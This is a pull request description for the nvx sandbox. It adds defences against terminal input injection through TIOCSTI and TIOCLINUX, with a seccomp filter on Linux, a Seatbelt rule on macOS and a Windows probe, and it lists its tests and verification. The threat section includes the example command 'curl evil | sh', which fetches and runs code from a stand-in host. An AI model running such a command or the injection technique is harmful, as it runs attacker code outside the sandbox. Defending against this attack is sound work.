Stop a contained process typing into your terminal

[fstubner]

What and why

A contained process is given nvx's terminal as its stdin, shared with nvx, so
the terminal is its controlling terminal. ioctl(fd, TIOCSTI, &c) pushes a byte
into that terminal's input queue, and after nvx exits the user's shell reads the
queue as typed input. A package postinstall could leave curl evil | sh and an
Enter behind, and it would run as the user outside the sandbox. TIOCLINUX does
the same by pasting a selection on a Linux virtual console. This is the class of
bubblewrap's CVE-2017-5226.

Linux

A new seccomp filter refuses ioctl with request TIOCSTI or TIOCLINUX and
returns EPERM. It compares the low 32 bits of the request, as Flatpak and
bubblewrap do, because the kernel reads the request as 32 bits. It is a filter of
its own, installed where the network filter is, so it applies in every network
mode including open, and on amd64 and arm64.

Kernels from 6.2 refuse TIOCSTI themselves when dev.tty.legacy_tiocsti is 0,
but kernels before 6.2 and any with the sysctl at 1 allow it. Ubuntu 22.04's
5.15 is one of them, and nvx supports it because Landlock needs 5.13.

Measured on a 5.15 kernel in a QEMU VM (built from ubuntu:22.04's
linux-image-generic), a contained process typed nvx-typed-this into the
terminal before this change and the terminal echoed it; with the filter both
requests return EPERM, unprivileged and as root. On WSL2 6.18, where the kernel
refuses TIOCSTI with EIO, the filter's EPERM is distinguishable from that
refusal. TestContainedProcessCannotTypeIntoTheTerminal drives the real chain on
a pseudo-terminal and TestTerminalFilterRefusesTypingAndNothingElse checks the
filter on the running kernel; both run in the privileged CI step and both fail on
the old code (EIO/ENOTTY instead of EPERM).

A fresh pty the contained process opens itself is its own and reaches nothing
outside the sandbox; on Linux the sandbox's filesystem view has no /dev/ptmx,
so it cannot open one anyway, and the filter would block it regardless.

macOS

The Seatbelt profile now denies TIOCSTI by command number,
(deny file-ioctl (ioctl-command 2147578994)) after the write allow.
file-ioctl is a separate Seatbelt operation, not implied by file-read* or
file-write*, so (deny default) already refuses it and the profile grants
file-ioctl nowhere; the explicit deny is insurance for the macOS versions where
the default-deny of this one command is not confirmed. The command is decimal
because the TIOCSTI symbol and a hex literal do not parse under sandbox-exec
on macOS 13 and 14.

TestSeatbeltDeniesTerminalInputInjection pins the rule and that nothing
re-grants file-ioctl. scripts/sandbox-terminal-injection-macos.sh, in a new
macOS CI step, runs the real attempt on a controlling terminal built with
forkpty: a contained node spawns the runner's python3, which inherits the
sandbox and the terminal and attempts TIOCSTI, with an uncontained control that
must inject. This step is the one piece I could not run locally; it iterates
through this PR's CI.

Windows

The OS already refuses WriteConsoleInput to an AppContainer process on the
console it shares with the shell. TestAContainedProcessCannotInjectConsoleInput
(NVX_PROBE=1) opens CONIN$, the inherited stdin and the parent's console via
AttachConsole, and all three writes are refused with "Access is denied",
measured on Windows 11. The read-back path was confirmed to catch an injection by
planting the same records uncontained and reading them back. No code change was
needed; it is kept as a regression probe.

Docs

A new row in docs/enforcement-matrix.md and SECURITY.md, per platform with
evidence, plus a CHANGELOG entry under Security.

Verification

• gofmt -l internal cmd clean; go vet ./..., GOOS=linux go vet ./...,
  GOOS=darwin go vet ./... clean.
• go test ./internal/nvx -count=1 passes on Windows.
• Linux test binary, privileged, under sudo: the two new terminal tests pass;
  both fail on the old code.
• Windows probe passes with NVX_PROBE=1.
• bash -n on the new script; ci.yml parses.

Do not merge.